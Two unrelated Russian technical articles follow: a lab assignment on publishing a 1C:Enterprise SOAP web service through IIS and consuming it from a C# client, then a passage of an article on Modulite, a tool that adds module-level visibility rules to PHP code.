***Задание 1: Установка платформы 1С: Предприятие, установка компоненты IIS сервера, связь Web-Расширения 1С с сервером IIS.***
При установке платформы 1С: Предприятие необходимо установить Web-Расширение.
Рис. 1. Выбранные компоненты в момент установки 1С
В меню «*Панель управления\Все элементы панели управления\Программы и компоненты*» Необходимо выполнить установку дополнительных компонентов Windows «*Включение или отключение компонентов Windows*» где указать компоненты IIS. Кроме выбранных по умолчанию компонентов, надо добавить еще компоненты, связанные с технологией ISAPI, именно благодаря этой технологии расширение веб-сервера 1С имеет возможность связаться с веб-сервером IIS, и тип аутентификации «по URL», чтобы допускать к веб-сервису используя аутентификацию пользователей базы данных 1С. После установки рекомендуется перезапустить операционную систему.
Рис. 2. Выбранные компоненты в момент установки IIS
В меню «*Панель управления\Все элементы панели управления\Администрирование*» запустить консоль «*Диспетчер служб IIS*», где открыть элемент «*Пулы приложений*» открыть пул «*DefaultAppPool*» в контекстном меню выбрать «*Дополнительные параметры…*» где элемент «*Разрешены 32-рязрядные приложения*» надо установить «*True*». Это необходимо для работы Web-Расширения 1С, т.к. оно является 32-битным приложением. Это удобно для отладки (т.к. при публикации из конфигуратора будет по умолчанию подставляться «*DefaultAppPool*»), для продуктива я рекомендую создавать отдельные пулы для каждого сервиса без управляемой среды.
В той же консоли «*Диспетчер служб IIS*», выбрать элемент «*Default Web Site*», выбрать действие «*Проверка подлинности*» где необходимо включить вариант: «*Анонимная проверка подлинности*».
Теперь возможна публикация Web-Сервисов 1С на сервере IIS. Но для того, чтобы было возможно выполнить эту публикацию, необходимо запустить Конфигуратор 1С: Предприятия от имени пользователя «*Администратор*».
***Задание 2: Создание простой конфигурации 1С.***
Первое, с чего стоит начать разработку любой конфигурации: надо создать роль Администратора (В соответствии с [методикой разработки конфигураций](http://its.1c.ru/db/v8std#content:2149184137:1) — ее стоит назвать **ПолныеПрава**)
Считаем, что в базе данных есть информация обо всех заказах, содержащая количество и тип номенклатуры, который был заказан, в одном заказе может быть список, содержащий номенклатуру и количество, заказ так же имеет свой номер и дату его создания. Информацию обо всех заказах надо передать через Web-Сервис.
Для описания этого необходимо создать объекты базы данных:
Рис. 3. Структура данных в созданной конфигурации 1С
Справочник «*Номенклатура*», без дополнительных реквизитов. В реквизитах «по умолчанию» содержится информацию о наименовании и коде номенклатуры.
Документ «*Заказ покупателя*», который будет содержать табличную часть «*Товары*», каждая строка которой будет иметь информацию о номенклатуры (элемент типа «*СправочникСсылка.Номенклатура*») и количестве (элемент «*Количество*» типа «*Число*» беззнаковое с 15 знаками до запятой и 3 после).
Далее можно запустить 1С в режиме предприятия и создать несколько документов, заполненных созданными нами же номенклатурами и соответствующим количеством.
***Задание 3: Создание и публикация Веб-Сервиса 1С.***
В группировке «*Общие*» конфигурации создать новый элемент типа «*XDTO-пакеты*», первоначально для передачи номенклатуры. Его можно назвать, например «*NomenclatureXDTO*». URL пространство имен, в соответствии со спецификацией WSDL необходимо назначить в виде URL адреса спецификации данного пакета, например
«*[company.com/1C/Nomenclature](http://company.com/1C/Nomenclature)*». В этом пакете необходимо создать тип объекта, например «*Nomenclature*», в котором есть реквизиты «*Code*» и «*Name*», с соответствующим типом «*string (http://www.w3.org/2001/XMLSchema)*».
Теперь надо создать второй XDTO пакет, который будет содержать информацию о заказах покупателей, его можно назвать «*ClientOrderXDTO*» в пространсте имен «*[company.com/1C/ClientOrder](http://company.com/1C/ClientOrder)*». В первую очередь необходимо подключить директиву импорта «*[company.com/1C/Nomenclature](http://company.com/1C/Nomenclature)*», для того, чтобы можно было использовать созданный нами пакет сериализации номенклатуры. Это необходимо для передачи номенклатуры, содержащейся в табличной части документа «*Заказы покупателей*».
Теперь надо создать тип объекта «*ClientOrderRow*», содержащий одну строку табличной части. Этот тип будет состоять из совокупности реквизитов «*Nomenclature*» и «*Count*», соответственно для номенклатуры необходимо указать тип объекта «Nomenclature (http://company.com/1C/Nomenclature)», а для количества, «*double (http://www.w3.org/2001/XMLSchema)*».
Тип объекта, содержащий сам заказ можно назвать «*ClientOrder*» должен содержать номер заказа, дату создания и массив элементов из табличной части заказа. «*Number*» типа строка, «*Date*» типа «*dateTime (http://www.w3.org/2001/XMLSchema)*» и «*Products*» типа «*ClientOrderRow (http://company.com/1C/ClientOrder)*», при этом необходимо указать, что минимальное количество «*0*», а максимальное количество «*-1*», это говорит о том, что этот объект будет массивом.
Но, поскольку необходимо возвращить список заказов, то необходимо создать тип объекта, содержащий этот массив, потому надо создать еще один элемент, называемый «*ArrayOfClientOrders*», у которого будет всего один реквизит, называемый «*ClientOrder*» типа «*ClientOrder (http://company.com/1C/ClientOrder)*».
Рис 4. Структуры XDTO пакетов в 1С
На этом создание описания передаваемых значений можно считать оконченным. Необходимо описать сам веб сервис и его методы.
В группировке «Общие» конфигурации надо создать объект, Web-Сервиса. Его можно назвать «*Service*». Во вкладке «Прочее» надо указать пространство имен, которому принадлежит веб-сервис, например «*[company.com/1C](http://company.com/1C)*», а так же список XDTO пакетов, содержащий только что созданные пакеты «*[company.com/1C/Nomenclature](http://company.com/1C/Nomenclature), [company.com/1C/ClientOrder](http://company.com/1C/ClientOrder)*». Во вкладке «Операции» создать метод «*GetClientOrders*», который будет возвращать значения «*ArrayOfClientOrders (http://company.com/1C/ClientOrder )*», при этом установить возможность возвращать пустые значения и нажать на поле с лупой, называемое «Имя метода», тем самым в модуле веб-сервиса будет создана функция, который будет вызвана при обращении к данному методу веб-сервиса.
Для того, чтобы корректно описать функцию, получающую из базы данных и возвращающую список заказов покупателей, необходимо знать внутренний язык 1С, потому код этой функции находится в приложении 1. В пояснении нуждается то, что «*ФабрикаXDTO*», это некоторый менеджер, который выполняет сериализацию объектов, и этот сериализованный объект необходимо возвратить. При этом происходит выборка всех заказов, содержащихся в базе данных, сериализация полей номера, даты, и строк табличной части, при этом номенклатура, нуждается в дополнительной сериализации, и уже упакованный объект вставляется в общую структуру. Собирается массив упакованных объектов, сериализуется в пакет массива. И отправляется клиенту, как результат вызванной функции.
Для публикации веб-сервиса в меню конфигуратора 1С выбрать «*Администрирование\Публикация на веб-сервере…*», после чего указать название публикации веб-сервиса, например «*Company*», имя сервиса, например «*Service*» и адрес «*service.1cws*», а так же указать путь для публикации, например «*C:\inetpub\wwwroot\Company\*».
После этого WSDL структура Web-Сервиса будет доступна по адресу «*[localhost/Company/ws/service.1cws?wsdl](http://localhost/Company/ws/service.1cws?wsdl)*»
***Задание 4: Создание клиента на C# платформы .NET 4.0.***
В Visual Studio создать новое консольное приложение C#.
Далее вызвать контекстное меню над элементом проекта «*Reference*», и выполнить действие «*Add service reference…*», в открывшемся меню нажать на кнопку «*Advanced…*», откроется окно, где необходимо нажать на кнопку «*Add Web Reference…*».
Откроется меню, в которое необходимо вставить ссылку на WSDL описание веб-сервиса.
Рис. 5. Подключение веб-сервиса к проекту на C#
Для созданного в 1С веб-сервиса эта ссылка будет иметь вид «*[localhost/Company/ws/service.1cws?wsdl](http://localhost/Company/ws/service.1cws?wsdl)*», после корректного получения описания веб-сервиса надо указать название пространства имен .NET, из под которого будет доступно обращение к веб-сервису, например «*CompanyService*», затем нажать на кнопку «*Add Reference…*», Visual Studio автоматически сгенерирует классы по этому описанию. В проекте достаточно будет вызывать методы сгенерированного класса, при этом сериализация и вызов будут выполнять платформой .NET.
Далее необходимо написать программу, которая будет обращаться к веб сервису, и выводить пользователю полученные данные. Для этого необходимо знать язык C#, код программы представлен в приложении 2. Из этого кода надо пояснить, то, что создание объекта «*Service*», есть не что иное, как создание менеджера обращения к сервису. От этого имени будут вызывать методы веб-сервиса.
«*\_1CWebServiceClientConsole*» — это общее пространство имени проекта, оно выбирается при создании. Пространство имени веб-сервиса, полученное из WSDL структуры полностью включено в пространство имени проекта, что позволяет вызывать удаленные методы «как свои».
Построение такой архитектуры является прозрачной для программистов, но при этом необходимо понимать в какие моменты и что проходит сериализацию для последующей передачи. Подобная архитектура клиент-серверных приложений на данный момент самая популярная.
**Оформление отчета о лабораторной работе**Оформление отчета не требуется, требуется создание рабочего стенда, и демонстрация его работы.
**Порядок защиты работы**Необходимо показать рабочий стенд, объяснить порядок подключения и особенности настройки, а так же особенности сериализации объектов. Для успешной защиты необходимо ответить на все вопросы.
**Контрольные вопросы и задания**1. Какой разрядности веб-расширение 1С?
2. В чем 1С хранит структуру пакетов для сериализации данных?
3. Как получить структуру описания веб-сервиса?
4. Как подключить веб сервис к проекту, разрабатываемому в Visual Studio?
5. Зачем нужно создавать менеджер обращений у клиента и что он из себя представляет?
**Приложение 1: код функции GetClientOrders на языке 1С**
```
Функция GetClientOrders()
МассивЗаказовПокупателейТип = ФабрикаXDTO.Тип("http://company.com/1C/ClientOrder", "ArrayOfClientOrders");
ЗаказПокупателяТип = ФабрикаXDTO.Тип("http://company.com/1C/ClientOrder", "ClientOrder");
ЗаказПокупателяСтрокаТип = ФабрикаXDTO.Тип("http://company.com/1C/ClientOrder", "ClientOrderRow");
НоменклатураТип = ФабрикаXDTO.Тип("http://company.com/1C/Nomenclature", "Nomenclature");
Запрос = Новый Запрос;
Запрос.Текст =
"ВЫБРАТЬ
| ЗаказПокупателя.Ссылка,
| ЗаказПокупателя.Номер,
| ЗаказПокупателя.Дата
|ИЗ
| Документ.ЗаказПокупателя КАК ЗаказПокупателя";
Результат = Запрос.Выполнить();
Выборка = Результат.Выбрать();
Если Выборка.Количество() = 0 Тогда
Возврат Null;
КонецЕсли;
МассивЗаказовПокупателей = ФабрикаXDTO.Создать(МассивЗаказовПокупателейТип);
Пока Выборка.Следующий() Цикл
ЗаказПокупателя = ФабрикаXDTO.Создать(ЗаказПокупателяТип);
ЗаказПокупателя.Number = Выборка.Номер;
ЗаказПокупателя.Date = Выборка.Дата;
Для каждого Строка Из Выборка.Ссылка.Товары Цикл // В промышленных условиях не вздумайте так писать!
ЗаказПокупателяСтрока = ФабрикаXDTO.Создать(ЗаказПокупателяСтрокаТип);
Номенклатура = ФабрикаXDTO.Создать(НоменклатураТип);
Номенклатура.Code = Строка.Номенклатура.Код;
Номенклатура.Name = Строка.Номенклатура.Наименование;
ЗаказПокупателяСтрока.Nomenclature = Номенклатура;
ЗаказПокупателяСтрока.Count = Строка.Количество;
ЗаказПокупателя.Products.Добавить(ЗаказПокупателяСтрока);
КонецЦикла;
МассивЗаказовПокупателей.ClientOrder.Добавить(ЗаказПокупателя);
КонецЦикла;
Возврат МассивЗаказовПокупателей;
КонецФункции
```
**Приложение 2: код программы на C# осуществляющий обращение к веб-сервису**
```
using System;
using _1CWebServiceClientConsole.CompanyService;
namespace _1CWebServiceClientConsole
{
class Program
{
static void Main(string[] args)
{
using (Service service = new Service())
{
service.SoapVersion = System.Web.Services.Protocols.SoapProtocolVersion.Soap12;
service.Credentials = new System.Net.NetworkCredential("LOGIN", "PASS");
var arrayOfClientOrders = service.GetClientOrders();
if (arrayOfClientOrders == null)
Console.WriteLine("Не найдена");
foreach (var clientOrder in arrayOfClientOrders)
{
Console.WriteLine("Заказ покупателя №" + clientOrder.Number + " от " + clientOrder.Date);
Console.WriteLine("-----");
foreach (var clientOrderRow in clientOrder.Products)
{
Console.WriteLine(clientOrderRow.Nomenclature.Name + " " + clientOrderRow.Count);
}
Console.WriteLine("-----");
}
}
Console.ReadKey();
}
}
}
``` | https://habr.com/ru/post/136684/ | null | ru | null |
# Честные модули внутри PHP: теперь они существуют
Низкий порог входа и строгость языка программирования — вещи обычно несовместимые. Потому что ты либо, как Rust, бьёшь по рукам borrow checker’ом — либо, как PHP, позволяешь не задумываться о типах и быстро прототипировать.
На самом деле, если писать код грамотно, это становится неважным и язык перестаёт иметь значение. Архитектура важнее языка, и хороший код на PHP ничем не отличается от аналогичного кода на любом другом ООП-языке. Другое дело, что возможность «любой домохозяйке» писать на PHP сопровождается и риском наворотить полное неподдерживаемое безобразие. Поэтому нам нужны тайпхинты, линтеры, статические анализаторы и подобные инструменты.
Но в PHP есть и ещё один изъян: в нём любой класс, функция или константа — глобальны. Можно создать класс из любого места в коде, и нет способа скрыть его или сделать деталью реализации где-то в отдельной папке. Иными словами, в PHP нет того, что в других языках называется модулями.
Наша новая open-source разработка называется Modulite и внедряет в PHP модули. Это сквозная технология: мы внедряемся в IDE, в PHPStan, в KPHP, в CI, в Composer — и делаем так, будто бы модули нативно есть в языке PHP.
*Совсем недавно я рассказывал о Modulite на PHP Russia в рамках HighLoad++. Уже есть* [*видео*](https://www.youtube.com/watch?v=X_T3UgFUsw4) *доклада — можно посмотреть его вместо чтения, если это удобнее, а к статье вернуться за ссылками.*
Modulite + internal
-------------------
Представим, что в проекте работают Месси и Адам. Месси пишет мессенджер (папка `Messinger`), а Адам пишет админку (папка `Adaminka`). В мессенджере есть каналы и папки. Ещё есть нотификации: при добавлении в канал, при выходе и т. п.
Адам пишет добавление юзера в канал из админки. Он вставляет напрямую юзера в базу через `MsgDatabase` и создаёт `JoinNotification` — «потому что релиз через 2 часа» или «а в чём проблема вообще?». Действительно, в чём? Ведь работает же. Сегодня — работает.
Месси узнаёт про этот произвол. Что, мол, за дела? Ведь только внутренности каналов должны слать нотификации, внешний код вообще не должен туда лезть. Внешний код не знает про нюансы, про флуд-контроль и т. п. Рассылка пушей, работа с базой и подобное — это удел имплементации мессенджера, в реальности там много бизнес-логики и проверок. Это очень плохо, если внешний код вызывает такие классы напрямую. Но увы, PHP позволяет так делать, и этим всегда пользуются.
И Месси решает: нужно запретить! Чтобы даже в админке такое не писали.
Месси понимает, что эффективно сделать это можно только на уровне инструментов — не документации или договорённостей. К счастью, у него в арсенале есть Modulite, и он делает фокус: кликает `New → Modulite from Folder…` и создаёт модуль `@messi-channels` из папки `Channels/`. Он убирает галочки в дереве `Notifications/` — таким образом, неотмеченные классы становятся internal.
И вуаля! Теперь Адам не может создать недоступный класс. Ошибка видна в IDE, а в структуре файлов показываются @названия и internal-бейджи.
**Физически это привело к тому**, что создался файл `Channels/.modulite.yaml`, который содержит, в частности, список export.
Modulite + require
------------------
Когда Месси создал модуль, он не только зафиксировал export'ы: он также зафиксировал внутреннее состояние (зависимости, dependencies, requires — это синонимы).
Допустим, в команду к Месси пришёл джун. У джуна задание: сделать метод `isUserSubscribed()`, который будет проверять, подписан ли пользователь на канал. Окей, подумал джун, пишет код, но видит ошибку:
В чём ошибка? Функция `currentUser()` никогда раньше не вызывалась изнутри модуля, она не добавлена в `requires`. На самом деле причина ошибки в том, что `$user_id` нужно передавать снаружи, а не брать id текущего пользователя: вот функция и не вызывалась.
«Окей», — подумал джун, — «Делов-то. Возьму и добавлю»:
От ошибки-то джун избавился. Вот только это привело к изменению `.modulite.yaml`: добавилась зависимость. А значит, это будет видно на ревью.
В данном случае Месси скажет, что код неверный, модуль не должен зависеть от текущего пользователя. Но если бы был другой пример (не `currentUser()`, а что-то действительно нужное), было бы окей. В любом случае — появление новых зависимостей не пройдёт незамеченным. А если и пройдёт, это останется в истории Git.
Modulite + определение
----------------------
> *Итого. Модуль — это обычная папка с PHP-кодом.
> С одной стороны, она определяет доступ «внутрь» через export.
> Всё, что не публичное, — значит, приватное.
> С другой, она определяет доступ «наружу» через requires.
> Нельзя использовать внешние символы, не разрешив это явно.*
>
>
Modulite + монолит
------------------
Цель модульности формулируется так: **не допустить неконтролируемого разрастания энтропии** внутри монолита.
Предпосылки — именно изоляция отдельных папок **в существующем коде**.
VKCOM, как и другие огромные проекты, — это клубок кода с крайне высокой связностью. Хочется его распутывать, только все друг другу мешаются, лишь добавляя новые связи. Многие порываются выносить папки в отдельные Composer-пакеты — но пока код не автономен, пока есть хоть один внешний вызов, это невозможно. И в 100% случаев у нас именно такая ситуация. Любой крупный неймспейс тесно связан с остальным кодом — как в прямом, так и в обратном направлении.
Вынос в пакет должен происходить итеративно, постепенно уменьшая зависимости от остального монолита. Проблема в том, что пока вы это делаете, другие разработчики всё равно используют что не нужно, заново связывая код с монолитом. Это происходит непредумышленно, поскольку нет инструментов для контроля. Точнее, не было. Теперь есть.
Модульность позволяет **изолировать отдельные участки кода, которые подчиняются правилам, заданным владельцами этого участка**. Это позволяет рефакторить код, постепенно уменьшая число зависимостей — и гарантируя, что новых не появляется. В идеале модуль стремится к полной автономности, и тогда его можно вынести в пакет.
Из «существующих решений» можно отметить разве что аннотацию `@psalm-internal` и deptrac. Первая позволяет задать неймспейс, где функция или класс могут быть использованы. В целом эта аннотация решила бы вопрос публичного интерфейса, но если забыть пометить новый класс, то вся концепция пошатнётся. В нашей же концепции всё новое по умолчанию приватное, нужен явный export. К тому же фиксировать requires не менее важно для итеративного рефакторинга. Про deptrac — это вообще другое, распишу отдельно в конце статьи.
**И кстати, важный момент.** Когда модуль становится автономным — да, его можно вынести в пакет. А можно и не выносить, потому что зачем? Если не предполагается его подключать в другую репу, то лучше просто оставить в монолите. Ведь желание «вынести в пакет» возникает лишь потому, что есть ассоциация «пакет — это хорошо, это изоляция». А если изоляция обеспечивается модульностью — то **Composer уже и не нужен** для этих целей.
Modulite + PHPStorm
-------------------
Modulite полностью интегрирован в PHPStorm. Можно создавать модули из существующего кода, хоткеями делать приватные классы и сразу в редакторе видеть ошибки.
**Создание модуля из папки**
В контекстном меню папки кликаем `New -> Modulite from Folder…`.
Там указывается имя модуля (по умолчанию по имени папки) и видимость символов (галочками). Отмеченные — это export, неотмеченные — internal. Мы оперируем конкретными символами: никаких масок «по звёздочке» (что при создании, что впоследствии). Символы — это не только классы. Это также обычные функции, глобальные константы, дефайны. Да, Modulite оперирует символами гранулярно. Зато можно насоздавать дефайнов в модуле, и если они internal, то внешний код их не увидит.
Плагин автоматически сгенерирует requires и, если нужно, перегенерирует зависимости других модулей. После нажатия «OK» откроется созданный `.modulite.yaml`.
**Делаем символы internal**
Возле символов модуля @name есть надпись `exported from @name` (или `internal in @name`). Менять состояние можно либо через Alt+Enter, либо через контекстное меню прямо на этом хинте. Область видимости есть не только у классов: ещё у методов, у обычных функций и даже у дефайнов. Также помним, что все новые символы по умолчанию приватные (т. к. не экспортированы) — об этом и подсказки лишний раз напоминают.
**Делаем internal уже используемый класс**
Представим ситуацию: есть класс `SortPolicy` в `@messi-folders`. Он, по идее, деталь реализации и должен быть приватным, но уже где-то внешний код его использует. Если просто сделать его internal, то существующий код сломается. Что делать?
Ответ такой: можно сделать его internal, но добавить конкретные места, в которых он уже используется, в исключения. Таким образом, существующий код будет работать (и от исключений в будущем нужно избавиться), а новый код уже не сможет использовать internal-класс. Так мы зафиксируем текущее состояние, но не позволим ему становиться хуже.
Действие `Make internal in @name` делает это автоматически! Плагин анализирует использования в текущем коде и добавляет их в исключения.
**Новый код и require**
В секции конфига `require` указываются все внешние символы, разрешённые к использованию. При первичном создании модуля плагин делает это автоматически. Там перечисляются другие модули, Composer-пакеты, внешние классы, дефайны и константы, глобальные переменные.
При написании нового кода плагин будет проверять, что используются только указанные зависимости, иначе выдаст ошибку. Есть quick fix для её исправления, который приведёт к изменению yaml-файлика и явной фиксации новой зависимости. Это будет видно на ревью и останется в Git.
Пока в проекте модулей мало, каждый новый будет содержать десятки внешних зависимостей от глобальных классов и функций. С течением времени, когда всё больше кода будет оформляться в модули, зависимости от конкретных символов будут заменяться на зависимости от модулей. В идеале модули должны стремиться только к зависимостям от других модулей и пакетов.
Таким образом, в yaml-файле **мы всегда видим, насколько модуль привязан к внешнему коду** — и к какому конкретно.
**Вложенные модули, подмодули**
Модули могут быть вложены друг в друга. При этом имя подмодуля должно начинаться с имени его родителя. Например, если родительский `@messi`, то дочерние `@messi/folders` и т. п.
С точки зрения родительского модуля, подмодуль может как экспортироваться наружу, так и остаться приватным. Пусть есть структура мессенджера, с тремя модулями:
```
Messinger/
Channels/ @messi-channels
...
Folders/ @messi-folders
...
Kernel/ @messi-kernel
...
```
В таком виде это три независимых модуля, объединённых только общим неймспейсом, но не общими правилами. Внешний код может использовать любой из них (в рамках разрешённых export’ов). Иными словами, в этой структуре админка может лезть в ядро мессенджера, и ровно по тем же правилам, что и другой код мессенджера рядышком.
Грамотнее — не так. Грамотнее — сделать внешний модуль `@messi` и три подмодуля. При этом чтобы `@messi/kernel` был приватным.
```
Messinger/ @messi
Channels/ @messi/channels
...
Folders/ @messi/folders
...
Kernel/ @messi/kernel (internal)
...
```
В общем, просто делаем `New Modulite from Folder` на `Messinger/` и настраиваем галочки:
Как и ожидается, из админки `@messi/kernel` недоступен, даже если указать его вручную в requires. А вот из каналов и других внутренностей мессенджера — по-прежнему без проблем (конечно, следуя правилам на export, которые наложены kernel’ом). **По сути, вложенный модуль тоже может быть атомарной деталью реализации**.
Вообще, это нормальный (и даже рекомендуемый) процесс: сначала делать модулями какие-нибудь небольшие и внутренние вещи, называя модули длинно, по типу `@feed-smart-blocks-proxy`. А потом, по мере того как код рефакторится и появляется структура, уже оформлять родительские модули, укорачивая дочерние.
**Find usages внутри модуля**
Одна из важных фич плагина — возможность отвечать на вопросы «Где?» и «Что?». Допустим, вы лазите по коду и видите вызов `currentUser()`. Либо смотрите yaml-файлик и видите его в requires. И сразу возникает вопрос: окей, мой модуль зависит от этой функции, но **насколько сильно?** Если там пара вызовов, это легко переделать, а если 100, то печаль.
В контекстном меню любого символа, помимо обычного Find usages, добавляется новый пункт — `Find usages in @{current}`:
Плагин покажет нативное окошко — только с фильтрацией внутри текущего модуля. И даже если в проекте символ используется тысячи раз, а внутри модуля только два — будет видно только два.
**И другие интерфейсные штуки**
Есть и другие удобства, но чтобы не раздувать статью, не буду их перечислять. Вкратце — влазим в IDE везде, где только можно. И это становится настолько интуитивно, что даже документацию писать не нужно.
Modulite + yaml config
----------------------
> *Плагин — это удобный UI над конфигом (файликом .modulite.yaml).
> Всё это можно делать и без плагина — просто не так удобно.
> Именно файлик хранится под Git’ом, именно изменения в нём
> видны на ревью при добавлении зависимостей или исключений.*
>
>
```
name: "@modulite-name"
description: "..."
namespace: "Some\\Namespace\\"
export:
- "ClassInNamespace"
- "OrConcrete::CLASS_MEMBER"
# and others
force-internal:
- "ClassInNamespace::staticMethod()"
# and others
require:
- "@another-modulite"
- "#composer/package"
- "\\GlobalClass"
# and others
allow-internal-access:
"@rpc":
- "ClassAllowedForRpcModule"
- "OrConcrete::method()"
# and others
```
**name** — уникальное в пределах проекта, начинается с @. По нему можно ссылаться на модуль. Дочерние модули префиксированы именем родителя, типа `@api/exceptions`. Когда курсор на имени, работает Refactor | Rename.
**description** — произвольная строка, на логику никак не влияет.
**namespace** — пространство имён. Служит для резолвинга относительных имён в конфиге: так, `Relative\\Symbol` резолвится в класс `\Some\Namespace\Relative\Symbol`.
**export** — публичные символы модуля, список строк. Символы, не перечисленные здесь явно, являются приватными (internal). Без лидирующего слеша (относительно namespace).
* `someFunction()` делает публичной функцию вне класса; особенно актуально для модулей, содержащих просто набор функций в global scope.
* `SOME_DEFINE` экспортирует глобальную константу или define.
* `ClassName` делает публичный класс; по умолчанию все члены этого класса тоже доступны, то есть вступают в игру обычные public / private / protected модификаторы, с помощью которых разработчик контролирует видимость членов. Решение для более сложной логики покажу далее.
**force-internal** — убрать видимость у членов публичных классов. По умолчанию класс в export открывает доступ ко всем public-символам, а здесь можно их форсированно скрыть.
**require** — список внешних символов, к которым разрешено обращаться из кода модуля. Если обратиться к символу, который не перечислен, будет ошибка. Здесь строки уже начинаются со слеша, ведь они не локальны относительно namespace.
* `@another-modulite` подключает другой модуль и все публичные символы в нём.
* `#composer/package` подключает Composer-пакет и все публичные символы в нём.
* `\VK\SomeClass` подключает глобальный класс (т. е. не принадлежащий никакому модулю; ведь если он принадлежит, то нужно подключать модуль, а не сам класс).
* `\someFunction()` подключает глобальную функцию.
* `\SOME_DEFINE` подключает глобальную константу или define.
* `some_var` для использования внутри выражения `global $some_var`.
**allow-internal-access** задаёт исключения, по каким правилам внешнему коду разрешено использовать internal-символы. Это стоит раскрыть подробнее.
Modulite + исключения
---------------------
Ввиду того что код в монолите очень связный, не всегда удаётся обеспечить один публичный интерфейс для всех. Часто бывает, что хочется сделать класс внутренним, но уже где-то есть его использования. И публичным оставлять его не хочется, чтобы новых использований не появлялось.
Здесь важно, что если А хочет подлезть в модуль В, то не А пишет исключение, а именно В.
**На примере.** Пусть Адам в своей админке всё-таки хочет залезть в ядро мессенджера, а оно приватное. Но он не может написать у себя «я разрешаю себе лезть в ядро». А как тогда? А вот так: Адам идёт к Месси и объясняет, зачем ему лезть в мессенджер. И вот тут уже возможны варианты. Может быть, Месси что-то не предусмотрел, и функциональности в его модуле действительно не хватает. Тогда он должен её реализовать, сделать публичный API, и Адам будет его использовать. Может быть, Месси просто забыл экспортировать символ — тогда он изменит свой конфиг, и всё. А может быть, действительно там какой-то corner case, который решать долго — вот тогда Месси и правда через конфиг `@messi-kernel` разрешит подлезть куда нужно. Но — только Адаму, только из конкретного места админки, и больше никому.
Сами правила пишутся так. Ключ — это функция, класс или модуль, которому разрешаем. Значение — это список символов, ровно такой же, как в export. Пример:
```
allow-internal-access:
"@adaminka":
- "MsgDatabase::insertUser()"
- "MsgDatabase::TABLE_MESSAGES"
"\\SomeGlobalClass\\itsMethod()":
# more exceptions
```
Modulite + PHPStan
------------------
> *Именно благодаря конфигу работают проверки
> во время компиляции, в Git-хуках и в Teamcity.
> Поэтому даже если кто-то не пользуется IDE,
> он не сможет запушить код в обход модульности.*
>
>
Чтобы модульность можно было использовать в обычных PHP-проектах, мы решили сделать [плагин Modulite для PHPStan](https://github.com/VKCOM/modulite-phpstan). Мы научили его парсить yaml-файлы, резолвить символы через рефлексию, а потом проверять модульность на классах, методах и функциях — по тем же правилам, что и в IDE.
Из неочевидного — это PHPStan-кеш, который так и не удалось победить. Модульность устроена так, что при изменении yaml-правил могут появляться или исчезать ошибки в PHP-коде, который вообще не менялся. Но PHPStan не запускает анализ на нетронутых файлах, поэтому может выдавать старые ошибки. Если будет запрос от сообщества, можно поизучать эту проблему и связаться с разработчиками PHPStan. А пока при сбросе кеша это работает всегда.
Ошибки анализа выдаются в традиционном для PHPStan виде:
Modulite + KPHP
---------------
[KPHP](https://github.com/VKCOM/kphp) помимо php-исходников теперь читает yaml-файлики. Если они содержат ошибки, компиляция прерывается в самом начале. Далее идёт обычный анализ кода с параллельной проверкой модульности. Из неочевидного — анализ кода разбит на этапы: сначала встраивание констант, потом применение PHPDoc, потом связка функций (call graph) и т. д. Поэтому, если ошибка возникает при инлайне констант, KPHP не пойдёт дальше. Аналогично, если невалидно используются классы в тайпхинтах, он не будет анализировать вызовы функций. Кстати, KPHP расценивает Composer-пакеты как неявные модули, так что автоматически проверяет нужные requires, а также то, что пакеты не лезут в код монолита.
Более того, именно для KPHP была придумана и сделана изначальная концепция. И лишь потом устоявшаяся версия была выложена как PHPStan-плагин, чуть ли не полной копипастой плюсовой имплементации. Поэтому при дальнейшем расширении нужно будет поддерживать три независимых решения: в IDE, в KPHP и в PHPStan. Но от этого никуда не уйдёшь.
Modulite + деплой
-----------------
Давайте резюмируем, где поддерживается Modulite и как обеспечиваются проверки при деплое:
* в KPHP полная поддержка, используется в VKCOM на продакшене;
* в PHPStan та же версия, у нас не используется, возможны специфические PHPStan-баги;
* в noverify нет поддержки, но она и не нужна;
* в Psalm не делали, но теоретически можно;
* в Git Hooks и TeamCity-пайплайнах проверяется либо PHPStan, либо KPHP;
* в PHPStorm всё поддерживается плагином;
* для других IDE не делали, но можно (наверное).
Modulite + Composer
-------------------
> *Modulite удобно использовать не только в монолите.
> Ещё, например, разрабатывая любой Composer-пакет:
> почему бы не писать его внутренности модульными?
> И даже задавать export у пакета, чего в Composer вообще нет.*
>
>
Философия такая: разрабатывая пакет, можно тоже пользоваться модульностью. Как и в монолите, создавать внутренние папочки со своими областями ответственности, контролировать requires и т. п. Это помогает структурировать код, что особенно актуально для больших пакетов.
На примере. Пусть Герасим пишет отдельный пакет для преобразования речи в текст. Это отдельный репозиторий `voice-text`, который тоже включает модули (в частности, `@impl`):
Как и ожидается, в `EmojiTable` нельзя залезть снаружи, это ведь internal. Сам модуль `@impl` обязан перечислять requires и т. п. В общем, пакет Герасима ничем не отличается от обычного проекта.
А теперь Месси внедряет расшифровку аудиосообщений. Он подключает пакет через Composer, как обычно. Чтобы использовать его внутри мессенджера, должен явно существовать `#vk/voice-text` в requires (при использовании любого символа плагин это сам предложит и вставит).
На самом деле при подключении пакета в монолит он становится неявным модулем. С точки зрения модульности, папка `vendor/vk/voice-text` — это модуль с названием `#vk/voice-text`. Все внутренние модули префиксируются: так, модуль `@impl` внутри пакета имеет название `#vk/voice-text/@impl` внутри монолита. Это позволяет избежать конфликта имён. У пакета не задан export, и для неявных модулей действует логика «в таком случае разрешено всё». Впрочем, у модуля `#vk/voice-text/@impl` собственный export вполне себе есть, и все проверки будут срабатывать.
Так, если Месси решит залезть внутрь имплементации Герасима, защищённой модулем внутри пакета, он получит ошибку компиляции:
Более того, Modulite может расширить функциональность Composer: даже **в корне пакета есть возможность явных export’ов из него**. Делается это так: рядом с `composer.json` создаём файлик `.modulite.yaml`.
* `name` = `""`.
* `namespace` = `"The\\Same\\As\\PSR4\\"`.
* `export` перечисляем как обычно.
* `force-internal` тоже работает.
* `require` оставляем пустым, он всё равно берётся из composer.json.
Например, Герасим укажет `TextToSpeech` и `WaveMultiplier` внутри export, поэтому `Transliteration` будет internal:
Теперь из монолита нет доступа к `Transliteration`. И к неймспейсу `VK\VoiceText\impl` тоже нет. А вот если бы Герасим упомянул `@impl` в export, то был бы (в рамках публичных символов `@impl` опять же).
Modulite + Deptrac
------------------
Сразу отвечу на возможный коммент вроде «так ведь есть [Deptrac](https://github.com/qossmic/deptrac), это одно и то же». Не одно. Modulite и Deptrac изначально созданы для разных вещей и с разными концепциями.
